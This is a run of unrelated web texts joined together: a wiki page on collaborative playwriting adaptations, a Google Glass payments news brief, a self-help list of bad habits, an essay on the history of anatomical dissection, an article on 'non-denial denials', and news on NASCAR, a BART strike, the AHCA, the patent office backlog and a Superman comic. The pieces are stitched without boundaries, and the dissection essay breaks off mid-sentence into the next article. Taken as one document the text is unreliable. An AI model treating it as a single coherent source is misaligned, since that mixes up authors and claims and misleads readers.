Among lesser known more modern plays, Kristen Thomson wrote I, Claudia (2001), a one-woman play.
Monologue from short stories [ edit ]
A second possibility is to adapt a short story in monologue form into a play. Renowned examples of this kind include Victor Hugo's The Last Day of a Condemned Man (1829), Nikolai Gogol's Diary of a Madman (1835), Fyodor Dostoyevsky's Notes from Underground (1864), Thomas Mann's Death in Venice (1912), Franz Kafka's A Hunger Artist (1924), Louis-Ferdinand Céline's "Cannon-fodder" (1949).
The text of "The Last Day of a Condemned Man" can be read at http://www.archive.org/details/worksofvictorhug05hugoiala
"Diary of a Madman" at http://www.archive.org/details/mantleotherstori00gogorich
"Notes from Underground" at http://en.wikisource.org/wiki/Notes_from_Underground
Monologue from diaries or confessions [ edit ]
The diary format may be particularly conducive to such adaptations. Famous memoirs comprise Confessions (St. Augustine) (397), by Augustine of Hippo, "Chronicles of the reign of Henry III and Henry IV of France" (1621) by Pierre de L'Estoile, Samuel Pepys's diary (1669), John Evelyn's diary (1697), Confessions (Jean-Jacques Rousseau) (1782) by Jean-Jacques Rousseau, Histoire de ma vie (Story of my Life, 1794) by Giacomo Casanova, Carlo Gozzi, "Memorie inutili" (Useless memoirs, 1797), Confessions of an English Opium-Eater (1821) by Thomas de Quincey, Mémoires d'outre-tombe (Memoirs from beyond the grave, 1848), by François René de Chateaubriand, A Confession (1882) by Leo Tolstoy, and Franz Kafka's Diaries (1948). In a more modern, popular if not frivolous vein, there is Bridget Jones's Diary (1996) by Helen Fielding.
Augustine's confessions are found at http://en.wikisource.org/wiki/The_Confessions_of_Saint_Augustine
Pepys' diary at http://en.wikisource.org/wiki/Diary_of_Samuel_Pepys
Evelyn's diary at http://www.archive.org/details/diaryjohnevelyn00braygoog
Rousseau's confessions at http://www.archive.org/details/confessions01rousgoog
Gozzi's confessions at http://www.gutenberg.org/etext/33225
The memoirs of Casanova at http://www.archive.org/details/jccld10
The memoirs of de Quincey at http://en.wikisource.org/wiki/Confessions_of_an_English_Opium-Eater
The memoirs of Chateaubriand at http://wikilivres.info/wiki/Chateaubriand%27s_memoirs
Tolstoy's confessions at http://en.wikisource.org/wiki/A_Confession
Monologues in play forms adapted from confessions have already been written, such as The Year of Magical Thinking (2007) by Joan Didion: consisting of one woman and I Am My own Wife (2003) by Doug Wright, consisting one one female transvestite.
There is one ongoing project in this section: "French chronicles of the 1590s".
French chronicles of the 1590s [ edit ]
"French chronicles of the 1590s" is based on "Chronicles of the reign of Henry III and Henry IV of France" (1621) by Pierre de L'Estoile.
The initial version of this play written by Robert Lalonde is based on a free e-book version available at [1].
See
French chronicles of the 1590s
Making a Renaissance play Shakespeare-like [ edit ]
Shakespeare as the standard of playwriting
Reflections on collaborative playwriting in the English Renaissance theatre have been published in the journal Theatre Research International, 1989 http://journals.cambridge.org/action/displayAbstract?fromPage=online&aid=3061952
A second source of information is a more recent book by Heather Anne Hirschfeld: Joint enterprises: collaborative drama and the institutionalization of the English Renaissance Theater. Amherst and Boston: University of Massachusetts Press, 2004, presented in part at
http://books.google.fr/books?id=tT_lXKFK1roC&printsec=frontcover&dq=Joint+Enterprises:
a book reviewed by Brain Walsh in Renaissance Quarterly-Volume 58, Number 1, Spring 2005, pp. 345-347.
at http://muse.jhu.edu/login?uri=/journals/renaissance_quarterly/v058/58.1walsh.html
One idea is to start with an entire public domain play and rewrite it, each writer being responsible for specific scenes, often done in Elizabethan days. The best choices might be plays with strong scenes but with important flaws liable to be improved.
There are 3 ongoing projects of this kind.
Cardenio [ edit ]
Double Falshood (1727) by Lewis Theobald is an adaptation of the lost The History of Cardenio by John Fletcher (playwright) and William Shakespeare. The lost play is described at the Lost Plays database: http://www.lostplays.org/index.php/Cardenio. Gary Taylor (scholar) adapted it in Renaissance-style speech. Stephen Greenblatt and Charles L. Mee adapted it in modern style.
Only a small part of the original version of the Theobald play, perhaps 1%, sounded like either of the 17th century authors. The purpose of the project is to make the Theobald play more Shakespeare-like, or at least more Fletcher-like. At the present moment, the text has almost entirely been reshaped and sounds much more like an 17th century work. The names of most of the characters have been changed back to the original version of the story, namely the Cardenio episodes contained in chapters 24, 27, 28, 29, and 36 of Miguel de Cervantes' Don Quixote (1605 and 1615).
The original text of "Double falsehood" is available at http://www.archive.org/details/cu31924013363894
See
Cardenio
A Yorkshire Tragedy [ edit ]
Plays of the Shakespeare Apocrypha may be used, such as A Yorkshire Tragedy (1608). As with Cardenio, the text has been almost entirely reshaped.
The original text of "A Yorkshire Tragedy" is found at http://www.archive.org/details/supplementplays00shakiala
See
A Yorkshire Tragedy
Aglaura [ edit ]
Other playwrights listed in English Renaissance theatre may be used, such as Aglaura (play) (1637) by Sir John Suckling (poet). The text has almost entirely been reshaped to sound like a more important 17th century work.
The original text of "Aglaura" is seen at http://www.archive.org/details/poemsplaysandot06suckgoog
See
Aglaura
Making a Renaissance tale or pamphlet Shakespeare-like [ edit ]
The Murder of John Brewen [ edit ]
Works from playwrights listed in English Renaissance theatre may be adapted for other works than the theatre, such as The Murder of John Brewen (1592), a prose pamphlet written by Thomas Kyd. This text has been reshaped into a 17th century-type play.
See
John Brewen
The Countess of Challand [ edit ]
Tales of the Italian Renaissance writer, Matteo Bandello, may be pilfered, as Shakespeare did, directly or indirectly via other authors, for a few of his plays. Among over 200 published tales (1554, 1573) is "The Countess of Cellant", available at the following site:
http://www.archive.org/details/novelsmatteoban01bandgoog
In the English translation, Cellant is a distortion of Challand, as in the town of Challand-Saint-Victor in the Aosta Valley region of north-western Italy, and so the collaborative play is renamed "The Countess of Challand".
See
The Countess of Challand
Adapting an existing play into contemporary style [ edit ]
Plays in the public domain may be used, prior to the date of the current Copyright cut-off, and transformed into contemporary language. An example of this type is "Warnings" (1913), a one-act play by Eugene O'Neill. A second option is to take more recent plays available on the Internet where Copyright was waived, for example "Time to Burn" (1997), a one-act play by Charles L. Mee.http://charlesmee.org/html/plays.html
One-act plays can be extended into full length plays. Every year, hundreds of plays are refused by theatre directors. Where do they go? Why not submit it here in the hope of improving it?
There are two ongoing projects for this subsection.
Warnings [ edit ]
The original text of "Warnings" is seen at http://www.eoneill.com/texts/warnings/contents.htm
See
Warnings
Time To Burn [ edit ]
The original text of "Time To burn" is seen at http://charlesmee.org/html/timetoburn.html
See
Time to Burn
Adapting a foreign play into English [ edit ]
Find a foreign language play in the public domain and adapt it into English.
For French and German dramatists, see List of French playwrights, List of German-language playwrights, and List_of_playwrights_by_nationality_and_date_of_birth. Perhaps particularly appealing would be late 19th century social plays.
French theatre [ edit ]
French theatre with strong social themes include those of Eugène Brieux and François, Vicomte de Curel.
Examples of the more popular theatre include Boulevard Theatre since the 19th century, written In French, plays with hundreds if not thousands of productions, mainly in Paris, but also in New York and London. Only some of these have been translated. Important comic playwrights of this genre include Georges Courteline, Georges Feydeau, and Sacha Guitry, while playwrights in the more dramatic vein include Jean Anouilh, Henry Bernstein, and Edouard Bourdet.
German theatre [ edit ]
A notable example of a German author with strong social themes is Gerhart Hauptmann, whose plays include The Weavers (play) (1892), The Beaver Coat (1893), The Conflagration (1901), Drayman Henschel (1898), Rose Bernd (1903), and The Rats (play) (1911). Although social conditions have changed, these plays may be fruitfully adapted to new ends.
The first three Hauptmann plays can be found at http://www.archive.org/details/thedramaticworks09971gut
and the second threesome at http://www.archive.org/details/thedramaticworks09972gut
Adapting a novel or short story into a play [ edit ]
Plays based on a contemporary or older novel or short story may be used.
Moon Hammer [ edit ]
The goal of Moon Hammer project is to create a theatrical version of a science fiction ghost story Moon Hammer and to recreate a theatrical experience similar to The War of the Worlds (radio) (1938) by Orson Welles, based on the novel of the same name (1898) by H.G. Wells.
See
Moon Hammer play writing project
Other science fiction possibilities [ edit ]
"Frankenstein", a novel by Mary Shelley is overdue for collaborative dramatization (see novel at http://www.gutenberg.org/ebooks/84 and see also http://knarf.english.upenn.edu/Articles/forry2.html)
"20,000 leagues under the sea", a novel by Jules Verne could also be dramatized http://www.gutenberg.org/ebooks/2488
"Dracula", a novel by Bram Stoker is another possibility: http://www.gutenberg.org/ebooks/345
"Mummy" A merged collaborative version of four titles on Gutenberg would be great.
Adapting historical events into a play [ edit ]
Plays based on historical events may be used.
Adapting a film-script into a play [ edit ]
A film-script in the public domain may be adapted into a play, or a Copyrighted film-script significantly changed, or else a script not yet made into a film. Every year, hundreds of film-scripts are refused. Where do they go? Why not submit it here in the hope of improving it?
Adapting a scientific dialogue into a play [ edit ]
A scientific exchange can be turned into a play.
Adapting a blog into a play [ edit ]
A blog between several persons can be turned into a play, for example this one on a scientific subject [2].
Considerations on copyright [ edit ]
Here is a point to ponder: if we use a pre-existing, copyrighted monologue as a starting point, will we be violating the copyright? Since the final product will be vastly different from the original text, this may be permissable, but on the other hand, the original text may still be there - word for word - but simply spread out throughout the script. Also, is the copyright on the actual text alone? Or does it include the idea behind the text as well (ie. would paraphrasing the original piece still be violating the copyright)?
Do you have some specific examples of "pre-existing, copyrighted monologue" that you might want to use? I see there are some texts available under free licenses such as the movie playscript Out Of The Blue by Daniel Joseph Pezely, under this license. Also see mothers group also under creative commons license. You can search for more at Creative Commons. There is also GFDL text at the fiction wikia.
Wikibooks has a book on the topic of History_of_Western_Theatre:_Greeks_to_Elizabethans.tech2 News Staff
The applications with a wearable like Google Glass are practically endless and now Google itself may be arming it with one of the more important apps in today's mobile-driven climate.
With Google Glass you could soon be sending money to your friends and relatives in a jiffy. You just need a few gestures and a voice command. According to the TechCrunch website, Google is planning to debut Google Wallet on Google Glass, as per an IANS report.
According to the original report, this is currently at an internal testing stage and you can make mobile payments from within the Wallet app by simply saying “send money”. Needless to say, you will have to activate the Glass with the same account that you use for your Wallet payments.
Google would charge a 2.9 percent fee for the transactions, the website added. Google has worked to revamp Wallet over the past couple of years, and it's currently the easiest way to make payments on the Android platform, whether it be for Play Store purchases or in-app transactions.
Glass is set for a debut later this year, with Google selling it in a retail capacity already. Currently, Glass is available for $1,500, though the final retail version will sell for a lot less, it's speculated.
With inputs from IANS
Tech2 is now on WhatsApp. For all the buzz on the latest tech and science, sign up for our WhatsApp services. Just go to Tech2.com/Whatsapp and hit the Subscribe button.The Why
I’ve been thinking a lot lately about why we humans do the things we do. It got me thinking, “How much of what we do is unnecessary, or even worse, detrimental to our well-being?” After speaking to a few friends, we came up with a list of over 50 items, which I quickly narrowed down to 8 as I found many that fit into similar categories.
I’d also like to add that these things appear to stem from fear. In fact, my guess is that 98 percent of the negative/apathetic action or inaction we take is fear-based. I’ll go even further to say that these items stem from one very specific and very universal fear: the fear of death. Not physical death, but death of the ego or perceived self.
You see, the mind can be very tricky. It latches onto ideas, events, images, feelings, everything really. In this way, it attempts to create a sense of self. The mind especially loves patterns or habits. It follows that the more habitual action in which we engage, the more the mind identifies, and says, “OK, this is who I am.”
If our habits tend to be mostly negative, then how does that make us feel about who we are? As if that weren’t enough, we become attached to that sense of self, and develop aversion to anything that threatens it. Just some food for thought as you look over the list.
The List
1. Complaining
This is one of the most natural of human tendencies. It is one of the largest tell-tale signs of an unconscious mind and resistance to what is. Next time you find yourself complaining, ask yourself why. Can you accept the situation?
2. Gossiping
Another common human trait. What is it really doing for you? Remember that the person you’re speaking about is a complex being with dreams and fears just like you. Chances are you probably don’t know their whole life story or circumstances. Cultivate compassion.
3. Procrastination
In my experience, procrastination involves some pretty intense anxiety. You know what you need to do, but you just can’t bring yourself to do it NOW. Why put yourself through that? Take a breath and do what you gotta do.
4. Incessant business
Whether you have the most important job in the world or not, we all feel the need to do something or many things often. That is fine and natural. But we all must take a breather. Find the Taoist in you, and think, “At the end of my life, will I regret that I didn’t do more work, or will I regret that I didn’t spend more time really enjoying myself and others?”
5. Spending money on things you don’t need
Not sure this needs too much explanation. Most of the time we buy things to increase our sense of self. Remember that your self, your true self, needs no add-ons. You are already whole. You just need to realize that. On a practical note, this will also save you a good deal of money!
6. Worrying about what everyone thinks about you
This may surprise you to hear, but most of the time no one is thinking about you. Don’t take this the wrong way. All I mean to say is that worrying about what others think is ultimately worrying about yourself in a negative light. And guess what? Everyone else is doing the same thing. Most humans are self-involved. Take comfort in this and stop concerning yourself with the thoughts of others. It’ll free up a lot of mental space!
7. Perfectionism and self-doubt
Recently, someone said to me, “Perfectionism is actually Failurism.” Why? Because when you are a perfectionist, you constantly doubt yourself. You look for the failure in your life and attempt to fix it. Then you have to deal with all the failures that crop up from your attempt to fix the last failure. It is a destructive and unnecessary cycle. If you’re always focusing on the negative, your mind begins to identify with that. Why not try focusing mostly on the positive?
8. Dwelling on the past and worrying about the future
Ah, yes. This is the most insidious of habits. Fear loves this habit, because it keeps you in a perpetual state of terror. You are afraid to repeat past mistakes or let go of past hurts. You spend your time fantasizing about how you will fail. Guess what? It’s not real. The past is gone forever. You will never actually be in the future. All we have is this moment. How will you choose to spend it?
You may be saying, “OK, but how do I do that?” Well, I wrote a post for that very reason. Check out 7 Great Ways to Kick Bad Habits.
By Terence Stone
Featured Art: The Scream, by Edvard Munch
If you enjoyed this article and want to get involved, please subscribe to the blog, like us on facebook, and follow us on twitter or Google+.I never feel more alive than when I am standing among the rows and rows of anatomical specimens at St Bartholomew's Pathology Museum in London, UK. In one jar floats the remains of an ulcerated stomach; in another, the hands of a suicide victim. Cabinets are filled with syphilitic skulls, arthritic joints, and cancerous bones. The unborn sit alongside the aged; murderers occupy the same space as the murdered.
As a medical historian, I have a professional interest in the collection as part of a project on late 17th-century surgery. Occasionally, however, I catch a glimpse of veins and arteries dangling from a severed wrist—or the bloated face of a child who died long ago—and I reflect on the actual surgeons and anatomists who cut up these dead bodies. How did they overcome the emotional and physical realities of dissection? And how do contemporary experiences in the dissection room compare with those from the past?
William Cheselden giving an anatomical demonstration to six spectators in the anatomy theatre of the Barber-Surgeons’ Company, London (c 1730–40) Copyright © 2013 Wellcome Library, London
A few months ago, I sat down with my mother, a registered nurse, and we talked about her first dissection. She spoke with intense clarity as if it had happened only yesterday: “She was a woman in her 30s, younger than I was then, who had died from toxic shock syndrome. I felt sorry for her.” My mother paused as the memories flooded over her. “I wanted to cover her body with a blanket, not because she was naked…I don't know. I just thought she'd be more comfortable with a blanket over her before we began poking, prodding, and pulling her to pieces.”
The idea that the anatomisation of the body is tantamount to “hacking”, “distorting”, or “disfiguring” what once was a living human being has troubled medical students for centuries. In 1663, the Danish physician, Thomas Bartholin, wrote that one must partake in “mangling the dead so that he may know the living”. Nearly a century later, the Master of Anatomy to the Incorporation of Surgeons of London remarked to those attending the public dissection of the criminal, Richard Lamb, “I think few who now look upon that miserable mangled object before us, can ever forget it.” Then, as now, confronting a cadaver could be a distressing event. But the unsanitary conditions of the past often made the experience even more traumatic.
Unlike the sterile laboratories of today, the “dead house” from previous centuries was a very different place. One medical student from the 19th century described the “swarms of sparrows fighting for scraps” and the “rats in the corner gnawing bleeding vertebrae”. The dissection theatre was bloody, smelly, and filled with all kinds of animals and insects trying to feast on the decomposing bodies, some of which had been plucked from the grave after a couple of days in the ground. In letters, diaries, and medical notes from Europe during the Enlightenment, I often come across descriptions of “decaying flesh”, “rancid corpses”, and “putrid stenches”—not the “slightly sweet, clinical smell” that some medical practitioners remember today. In a letter dated Oct 8, 1793, James Williams—a 16-year-old English surgical student—described his living quarters in John Hunter's anatomy school in London as “a little perfumed”. The 17th-century German surgeon, Lorenz Heister, was not as delicate in his descriptions. He recommended that “Students in Surgery should not only be furnished with Strength of Body, but constancy of Mind” so that they remain “unmolested and unmoved by Stench, Blood, Pus and Nastiness that will naturally occur to them” during their practice.
There were plenty of young men who entered their anatomy lessons only to discover they did not have the “constancy of Mind” required to endure the realities of dissection. The composer, Hector Berlioz, who attended medical school in Paris in 1821 “leapt out of the window, and fled as though Death and all his hideous crew were at my heels” the first time he entered what he described as a “human charnel-house”. Berlioz claimed that it was “twenty-four hours before I recovered from the shock” and was able to return to the dissection theatre. Thomas Platter the Younger, a 16th-century Swiss physician, was haunted by the memories of his first dissection. During the first week of his lessons, he dreamt he had feasted upon human flesh. When he awoke in the middle of the night, he vomited.
Many, however, did learn to adapt over time. Bit by bit, piece by piece, they began to view the body not as a person but as an object. Some surgeons and physicians were even able to cut open the bodies of relatives. The French anatomist, Guillaume Rondelet, caused an uproar in 1538 when he publicly dissected the body of his infant son, whilst William Harvey undertook private dissections on both his father and his sister during the 16th century. These men, of course, were exceptional, but it does illustrate the extent to which one could become detached from the dissected body.
This made me wonder about medical students today. How did their experiences compare to those from earlier periods? To find out, I interviewed several doctors about their earliest memories in the dissection room. From these conversations, I discovered that many medical students are just as apprehensive about their first encounters with a cadaver as their predecessors. Erica Lilly, a general practitioner in Canada, remembers her unease as the cadaver's head was unwrapped from its plastic covering during her first anatomy lesson. The face did not look human “as much as it looked like a mask”, she says, her voice laced with emotion. Similarly, Jennifer Kasten, Research Fellow at the Department of Surgery of the University of California, Los Angeles, recalls the “muffled crying” from some of her fellow students as the body bags were unzipped for the very first time. She describes the first cut as “one of quiet and awed intensity”. For her, it was an “initiation into the mysteries of medicine”. The physical act of cutting open a dead body was only one of the challenges that interviewees mentioned during the course of our conversations. The odour was also an obstacle. Thomas Waite, Specialty Registrar in Public Health in Wales, remembers it vividly: “I'll never forget [the smell]…At the end of the year I threw away the only set of clothes I wore under my dissection coat because no amount of washing could get rid of it.”
The sensory experiences of those working in the earlier periods would have differed greatly from those of Waite. To better understand what medical students in earlier periods might have felt when first confronted with the rotting flesh of unpreserved corpses, I turned to William MacLehose, a medical historian at University College London. Several years ago, he visited the “Body Farm”, the University of Tennessee's Anthropology Research Facility in Knoxville, TN, USA, where human decomposition is studied. When I asked MacLehose to describe his reaction to what he saw on the Body Farm, he struggles to find words, pointing out that “words will always have some level of distance to them” that cannot fully capture the “raw and horrific” experience he had when he first visited the research facility. He confesses that the “safe, stale, academic references” he had in his mind before his visit were no preparation for the reality he faced: “I remember wishing I hadn't gone”, he admits. The realities that awaited the young surgical student during the 17th, 18th, and 19th centuries were grim. These were not the bloodless bodies of today—with their preserved limbs and starched linens. Indeed, Kasten tells me that she found the “lack of particular smells” in the dissection room to be “surprising”. Even when slicing open the colon and “squeezing out the long toothpaste-like stream of feces”, she was not met with the familiar “human smells” one might expect.
Today, cadavers are cloaked in anonymity. Yet, I was surprised by the frequency with which questions about a specimen's former humanity came up during my interviews. Lilly remembers the first time she looked upon the feet of a cadaver. She wondered if those feet “had walked on the beach”; if those “toes had ever had sand between them?” Similarly, Waite often thinks back to an elderly man he dissected during anatomy lessons. Aside from some atherosclerosis, the man belied his age. Waite remembers being struck that |
the non-denial denial".[5]
Examples [ edit ]
Bill Clinton [ edit ]
BBC Magazine[6] cites a 1998 statement "I did not have sexual relations with that woman, Miss Lewinsky", by U.S. President Bill Clinton, made during the Monica Lewinsky scandal, as a "non-denial denial". Clinton did not deny that he was fellated; and under a certain legalistic definition, "sexual relations" does not include fellatio.
Tony Blair [ edit ]
Another example, characterized by the BBC as a "non-denial denial", was provided by Tony Blair, who was interviewed in 1997, just before the general election, by the British newspaper Evening Standard. The question was: "Will Labour introduce tuition fees for higher education?" Blair's answer was: "Labour has no plans to introduce tuition fees for higher education." No plans does not mean no tuition fees. The Labour Party used the same ambiguous wording in its manifesto for the election in 2001, writing: "We will not introduce 'top-up' fees and have legislated to prevent them." The increase of university fees up to £3000 was voted for before the next election in 2005, but implemented in 2006. Therefore, the British government explained that the manifesto in 2001 was only valid for the period up to the election in 2005.[6]
Mark McGwire [ edit ]
Investigative journalists Lance Williams and Mark Fainaru-Wada used the phrase in their 2006 book Game of Shadows to characterize an ambiguous response by retired major league baseball star Mark McGwire during a congressional hearing on steroids in baseball:
“ McGwire turned evasive. He had nothing to say about anything. Pressed about whether he had used performance-enhancing drugs, he responded over and over again, "I'm not here to talk about the past." The refrain became so pathetic and predictable that McGwire was mocked by some of the politicians, while the audience chuckled each time he uttered his non-denial denial.[7] ”
Bruce Edward Ivins [ edit ]
Statements made in 2008 by the US biodefence researcher Bruce Edward Ivins have been characterised by the FBI as "non-denial denials".[8] Ivins was the chief suspect in the investigation into the 2001 anthrax attacks on US media outlets and senators. In 2008, he was involuntarily committed to a psychiatric hospital, where he allegedly made the following statements to a witness.
"I can tell you I don't have it in my heart to kill anybody"
"I do not have any recollection of ever have doing anything like that. As a matter of fact, I don’t have no clue how to, how to make a bio-weapon and I don’t want to know."
"I can tell you, I am not a killer at heart"
"If I found out I was involved in some way, and, and..."
"I don't think of myself as a vicious, a, a nasty evil person."
"I don't like to hurt people, accidentally, in, in any way. And [several named scientists] wouldn't do that. And I, in my right mind wouldn't do it [laughs]... But it's still, but I still feel responsibility because it [the anthrax] wasn't locked up at the time..."[9]
The FBI construed these remarks as suggesting that Ivins, who suffered from long-term mental health problems, had been the perpetrator of the attacks. However, he died of a drug overdose before charges could be brought, in an apparent suicide.[10]
See also [ edit ]
References [ edit ]Kyle Petty will join NBC Sports Group’s multi-platform NASCAR coverage as part of its race day broadcast team on NBC and NBCSN. Petty will work alongside host Krista Voda as an analyst during pre- and post-race shows surrounding Sprint Cup and XFINITY Series race coverage, which launches this July.
In addition, Petty will continue his role as a regular contributor to NASCAR AMERICA on NBCSN. The announcement was made today by Sam Flood, Executive Producer, NBC Sports and NBCSN.
“Kyle Petty brings a lifetime of experience to our team that is unmatched,” Flood said in a release. “As a driver, team owner, philanthropist, and multigenerational observer of the sport, he has seen it all, and has great perspectives across NASCAR’s full spectrum.”
“I learned the history of this sport from my grandfather, I saw the history made by my father, and I was a competitor to some of the greatest drivers in the history of NASCAR,” said Petty. “I’m excited to be a part of NBC’s return to NASCAR. During this past year as a guest analyst on NASCAR AMERICA, I saw firsthand the commitment, energy and excitement that this team has for the sport that I love. I can’t wait for the fans to see the same.”
Petty joins an on-air lineup that also includes the previously announced analysts Jeff Burton and Steve Letarte, race announcer Rick Allen, pre- and post-race host Krista Voda, and reporters Marty Snider, Kelli Stavast, Mike Massaro and Dave Burns.
Petty is as much a product of racing as he is of his famous forebears: his grandfather, Lee Petty, and his father, Richard Petty, also known as “the King.” He grew up in Level Cross, N.C., and places like Daytona, Charlotte and Talladega. For more than three decades as a driver, owner and media commentator, Kyle Petty has earned a reputation as a classy competitor and one of the greatest philanthropists that NASCAR has ever known.
Kyle and Richard Petty were honored for their work with the Victory Junction Gang this year; a feature outlined that on Wednesday’s NASCAR AMERICA.
Follow @TonyDiZinnoAn AC Transit bus passes a Bay Area Rapid Transit (BART) station on the first day of the BART strike on Friday in Oakland, Calif. Justin Sullivan/Getty Images
The San Francisco Bay Area's main commuter train system and its unions have reached a tentative agreement on a new contract, ending a crippling four-day strike.
Union officials announced the deal Monday night. It still requires approval from union members.
BART spokeswoman Alicia Trost says limited service will begin Tuesday at 4 a.m. on all lines. Trains will likely be running at full strength in time for the afternoon commute.
BART is the nation's fifth-largest rail system, with an average weekday ridership of 400,000.
Workers walked off the job Friday after talks broke down. Commuters endured jammed roadways and long lines for buses and ferries, as they looked for alternate ways around the region.
The contentious talks between BART and its two largest unions dragged on for six months — a period that saw two chaotic dayslong strikes, contentious negotiations and frazzled commuters wondering if they would wake up to find the trains running or not.
"The public expects us to resolve our differences and to keep the Bay Area moving," BART general manager Grace Crunican said Monday night.
Crunican said there would be no announcements on the details of the accord, but she added: "This deal is more than we wanted to pay."
The key issues were salaries and worker contributions to their health and pension plans.
Talks began in April, three months before the June 30 contract expirations, but both sides were far apart. The unions initially asked for 23.2 percent in raises over three years. BART countered, offering a four-year contract with 1 percent raises contingent on the agency meeting economic goals.
The unions contended that members made $100 million in concessions when they agreed to a deal in 2009 as BART faced a $310 million deficit. And they said they wanted their members to get their share of a $125 million operating surplus produced through increased ridership.
But the transit agency countered that it needed to control costs to help pay for new rail cars and other improvements.
BART workers also walked off the job in early July, shutting down train service for nearly five days.
The Associated PressRep. Mo Brooks Morris (Mo) Jackson BrooksCoulter slams Trump as 'lazy and incompetent,’ says he could face primary challenger Dems press Pentagon officials to explain why troops are still at border House Republicans call for moving State of the Union to Senate chamber MORE (R-Ala.) says the House GOP’s bill to repeal and replace ObamaCare "is one of the worst bills" he's seen in his entire career.
“It is one of the worst bills I have seen in my 30 years as a county commissioner, legislator, district attorney and now congressman,” Brooks said Friday on CNBC’s “Squawk Box.”
The House Freedom Caucus member, who came out against the American Health Care Act (AHCA) on Tuesday, told CNBC he's "not going to surrender on an issue as important as ObamaCare." Far from rolling back ObamaCare, he said, the legislation lets government and welfare programs balloon.
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“You’ve also got a bill that is the largest welfare program ever proposed in the history of the Republican Party,” he said.
President Trump directly challenged the House Freedom Caucus on Friday to support Republican leadership’s plan.
“The irony is that the Freedom Caucus, which is very pro-life and against Planned Parenthood, allows P.P. to continue if they stop this plan!” he tweeted.
"After seven horrible years of ObamaCare (skyrocketing premiums & deductibles, bad healthcare), this is finally your chance for a great plan!”
The House voted to begin debate on the controversial legislation Friday, paving the way for a cliffhanger vote later in the afternoon.
GOP leaders cannot afford more than 22 defections in the House assuming all voting Democrats oppose the AHCA. Brooks is one of 34 House Republicans who oppose the legislation before Friday’s vote, according to The Hill’s Whip List.The delays and inefficiencies are more than a nuisance for inventors. Patentable ideas are the basis for many start-up companies and small businesses. Venture capitalists often require start-ups to have a patent before offering financing. That means that patent delays cost jobs, slow the economy and threaten the ability of American companies to compete with foreign businesses.
Much of the patent office’s decline has occurred in the last 13 years, as the Internet age created a surge in applications. In 1997, 2.25 patents were pending for every one issued. By 2008, that rate had nearly tripled, to 6.6 patents pending for every one issued. The figure fell below six last year.
Though the office’s ranks of patent examiners and its budget have increased by about 25 percent in the last five years, that has not been enough to keep up with a flood of applications — which grew to more than 2,000 a day last year, for a total of 509,000, from 950 a day in 1997.
The office, like a few other corners of the government, has long paid its way, thanks to application and maintenance fees. That income — $2.1 billion last year — has made it an inviting target for Congress, which over the last 20 years has diverted a total of $800 million to other uses, rather than letting the office invest the money in its operations.
Applications have also become far more complex, said Douglas K. Norman, president of the Intellectual Property Owners Association, a trade group mainly of large technology and manufacturing companies.
“When I was a young patent lawyer, a patent application would be 20 to 25 pages and have 10 to 15 claims,” Mr. Norman said. A claim is the part of the patent that defines what is protected. “Now they run hundreds of pages, with hundreds, and sometimes thousands, of claims.”
Lost in the scrutiny of the office’s logjam, however, was the fact that the number of patents issued reached a record last year — more than 209,000, or 29 percent more than the average of 162,000 a year over the previous four years. Rejections also hit a high of 258,000 — not a measure of quality, Mr. Kappos said, but a sign of greater efficiency.
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Between the backlog of 700,000 patents awaiting their first action by an examiner and the 500,000 patents that are in process, a total of 1.2 million applications are pending.
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Sitting in his suburban Virginia office, not far from a model of the light bulb Edison presented for patent in November 1879 (which was approved two and a half months later), Mr. Kappos proudly ticked off figures that he said proved the agency was heading in the right direction.
The backlog has actually declined about 10 percent from a peak of 770,000 at the end of 2008.
“We were able to work a 13-month year last year,” he said, referring to the productivity increase in 2010 over the 2009. “We are processing a far larger workload with the same number of examiners.”
Still, Mr. Kappos wants to add more than 1,000 examiners in each of the next two years, a 30 percent increase. Mr. Obama’s 2012 budget calls for a 28 percent increase in spending, to $2.7 billion, over 2010. In two consecutive sessions, Congress has defeated a bill that would allow the patent office to keep all of the fees it collects. While another similar effort is under way, a big staffing increase will not be easy in a climate of cuts.
Mr. Kappos, a former electrical engineer and lawyer who joined the patent office in 2009 after 27 years at I.B.M., has improved relations with the union representing patent examiners. He and the union agreed on performance evaluation measures last year, the first time in 50 years that the yardsticks had been revised.
“I give David Kappos a good deal of credit for seeing where the problems have been and being willing to address them,” said Robert D. Budens, president of the union, the Patent Office Professional Association. “I think it’s a little early to see the full extent of the changes. But we have seen an increase in morale and a decrease in attrition, which is now almost the lowest it’s been since I came here” in 1990.
Patent applications come from all over the United States, and the office has forgone satellite offices — until now. Last year, the office announced it would put about 100 examiners in Detroit. Some prominent lawmakers from Michigan have worked on patent issues, including Representative John Conyers Jr., a Detroit Democrat who, when the decision was made, was chairman of the House Judiciary Committee, which oversees patents.
Mr. Kappos said he chose Detroit because it had a large communities of patent lawyers and agents, nearby universities and transportation centers, and relatively low costs of living and real estate. “Detroit has long been an innovation center,” he said. “It’s undervalued, and that is where we want to invest.” He said it would also attract a work force with more varied skills.
Mr. Kappos is also pushing an initiative that would charge patent applicants a higher fee to guarantee that their applications will receive a ruling within a year. But that initiative and others are not enough, said Paul R. Michel, who recently retired as chief judge for the United States Court of Appeals for the Federal Circuit in Washington, the main forum for patent appeals.
“The office can’t be made efficient in 18 months without a vast increase in finances,” said Mr. Michel, who has made evangelizing for an overhaul of the office a pet cause. “Small efficiency improvements will only make a small difference in the problem.”A scene from the latest issue of Superman. (Photo: Credit: Courtesy of DC Comics)
The latest issue of the “Superman” comic has outraged some, and inspired others.
In Action Comics #987, the iconic character steps up to defend immigrants from an armed white American who is angry over the loss of his factory job.
Though he’s been viewed as an American hero, Superman may actually have more in common with the people he’s trying to save.
“Superman is himself an immigrant,” says Dan Jurgens, the writer behind Action Comics #987. “In some ways he is the ultimate immigrant. It’s not that he’s from another country, he’s from a whole other world.”
Superman, a native of the fictional planet of “Krypton,” landed on Earth as an infant and some suggest that he would therefore be eligible for the Deferred Action for Childhood Arrivals program, DACA. President Trump recently announced that he would end the program, though he called on Congress to provide a new path for DACA holders.
While this issue has highlighted the immigration debate, Jurgens says the Superman comic is really about “the human condition” — current political tensions included.
“We have a lot of different scenes in the book, and these are things we all see outside our window on what sometimes feels like a daily basis,” he says. “(There are) many examples of how man is so cruel to one another, to his neighbor, or the animals that populate the planet, or the planet itself. It’s all these things that we seem to find ourselves sometimes mired in.”
This issue tackles xenophobia, immigration, racism, workplace violence, and global poverty, among other things, because a character in the story — Jor-El, who is Superman’s biological father from Krypton — is trying to show his son that the human race does not deserve him.
“(Jor-El is) opening his eyes to man’s cruelty and inhumanity to one another,” Jurgens says. “Part of what we’re dealing with here is [the question of], ‘At what point does it become hopeless for Superman?’”
